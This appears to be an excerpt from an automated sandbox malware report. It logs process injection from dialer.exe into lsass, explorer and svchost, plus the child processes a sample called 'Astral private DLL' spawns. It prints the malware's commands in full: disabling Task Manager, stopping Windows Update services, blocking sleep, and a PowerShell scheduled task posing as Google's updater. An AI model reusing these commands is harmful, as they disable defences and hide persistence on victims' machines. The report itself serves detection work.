Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 19D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1B988570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 258801A0000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: 1390000 value: 4D

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe

Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe

Thread register set: target process: 1456

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Memory written: C:\Windows\System32\dialer.exe base: AD4B636010	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEF80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F49DCF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20AF95B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 24EBE490000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F5E7FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26F6BA40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20B657E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28453480000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Local\Temp\twain_32.exe base: 24B34510000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 216AAA70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1AFC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D4EDD40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 13ACAE60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: BA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1330000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1ACD1120000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1BB84960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: BA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB6560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27F1A600000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1ECA8620000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1A77D1E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C6117C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27614EA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15F733A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2D365CB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 11840E70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C67E130000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 24CF8170000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CD66020000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 213113F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D211960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25F1BEF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB8360000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2047E150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF37F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2C34E3F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C611AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038510000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D92BF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF3910000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1FB26780000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D060000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 294ABE90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 770000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D180000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 14DDD380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BE168A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 7D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1EA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 12615CC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 255036C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1F56B300000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28115FE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C1574B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2B5675A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2185C8F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C14D340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25402690000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25CD1C10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 11C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 195DDA30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 195DDC50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E984CE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 193F0F20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 19D83000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Google\Chrome\updater.exe base: 27E70890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Google\Chrome\updater.exe base: 27E708C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\chcp.com base: 1FD689F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\chcp.com base: 1FD68A40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: F00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1030000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\w32tm.exe base: 216AC280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\w32tm.exe base: 216AC3A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: A00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: F00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 17C74420000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 17C76250000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1AEDEAC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1AEDEBE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 15931960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 1BB00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1510000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1D750000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 780000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1BB80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1617D4E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1617D540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1F1A78A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1F1A7900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C8B5AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 10B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1410000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1C810000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21154530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21154810000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1B71D230000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1B71D810000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 201FF280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1550000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 201FF410000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E314900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1CA40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 11D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 19D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1B988570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 258801A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 264EB0A0000

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe "C:\Users\user\AppData\Local\Temp\Astral private DLL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\twain_32.exe "C:\Users\user\AppData\Local\Temp\twain_32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\containerperf\ServerComponenthostMonitorDll.exe "C:\containerperf/ServerComponenthostMonitorDll.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF04D.tmp" "c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP"

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#amvyyojjq#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; }
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#amvyyojjq#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; }			Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B01C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

20_2_00007FF603B01C64

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B01C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

20_2_00007FF603B01C64

